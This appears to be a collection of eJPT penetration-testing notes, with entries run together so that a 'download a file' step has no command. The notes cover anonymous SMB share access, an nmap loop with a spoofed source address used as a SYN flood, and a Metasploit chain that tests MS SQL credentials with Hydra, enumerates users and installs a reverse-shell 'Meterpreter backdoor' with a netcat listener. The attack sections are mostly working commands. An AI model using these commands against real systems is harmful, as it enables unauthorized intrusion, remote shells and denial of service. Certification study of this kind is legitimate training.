After all shares are listed, pick up one and access it:
# smbclient -N \\\\192.168.0.100\\share1

Show content in the share:
smb: \> dir

Download a file from the share:

[eJPT][nmap]Apply Nmap to Synflood

Command:
#watch -n 10 "nmap -e wlan0 -Pn -T5 -S 192.168.0.253 192.168.0.251"

-e wlan0: Specify the network adapter sending the packets.
-Pn: There is no need to PING before launching the scan.
-T5: The fastest rate.
-S 192.168.0.253: Spoofing the packet source as 192.168.0.253.
192.168.0.251: The target.
The nmap scan would be repeatedly launched every 10 seconds by using the watch command.

[eJPT]Crack MS SQL Server

The main idea is shown below:
- First, obtain a username/password pair of the target, a MS SQL Server;
- Second, utilize Hydra to verify the username/password pair;
- Third, launch Metasploit-Framework to exploit the MS SQL Server through the following sequence:
* auxiliary/scanner/mssql/mssql_login
* auxiliary/admin/mssql/mssql_enum
* exploit/windows/mssql/mssql_payload


1) Obtain an username/password pair and would like to verify the effectiveness the pair by applying Hydra:
#hydra -l admin -p test123 mssql://172.16.33.33

2) Verify the username/password pair by Metasploit Framework:
#msfconsole
msf5 > use auxiliary/scanner/mssql/mssql_login
msf5 auxiliary(scanner/mssql/mssql_login) > set rhosts xxx.xxx.xxx.xxx
msf5 auxiliary(scanner/mssql/mssql_login) > set username xxx
msf5 auxiliary(scanner/mssql/mssql_login) > set password xxx
msf5 auxiliary(scanner/mssql/mssql_login) > run

3) Enumerate the other users:
msf5 auxiliary(scanner/mssql/mssql_login) > use auxiliary/admin/mssql/mssql_enum
msf5 auxiliary(admin/mssql/mssql_enum) > set rhosts xxx.xxx.xxx.xxx
msf5 auxiliary(admin/mssql/mssql_enum) > set username xxx
msf5 auxiliary(admin/mssql/mssql_enum) > set password xxx
msf5 auxiliary(admin/mssql/mssql_enum) > run

4) Install a Meterpreter backdoor:
msf5 auxiliary(admin/mssql/mssql_enum) > use exploit/windows/mssql/mssql_payload
msf5 exploit(windows/mssql/mssql_payload) > set rhosts xxx.xxx.xxx.xxx
msf5 exploit(windows/mssql/mssql_payload) > set username xxx
msf5 exploit(windows/mssql/mssql_payload) > set password xxx
msf5 exploit(windows/mssql/mssql_payload) > set SRVPORT 53
msf5 exploit(windows/mssql/mssql_payload) > set payload windows/x64/shell_reverse_tcp
msf5 exploit(windows/mssql/mssql_payload) > set lhost xxx.xxx.xxx.xxx
msf5 exploit(windows/mssql/mssql_payload) > set lport 5555
#nc -k -l -p 5555
msf5 exploit(windows/mssql/mssql_payload) > exploit

5) Happy hunting!
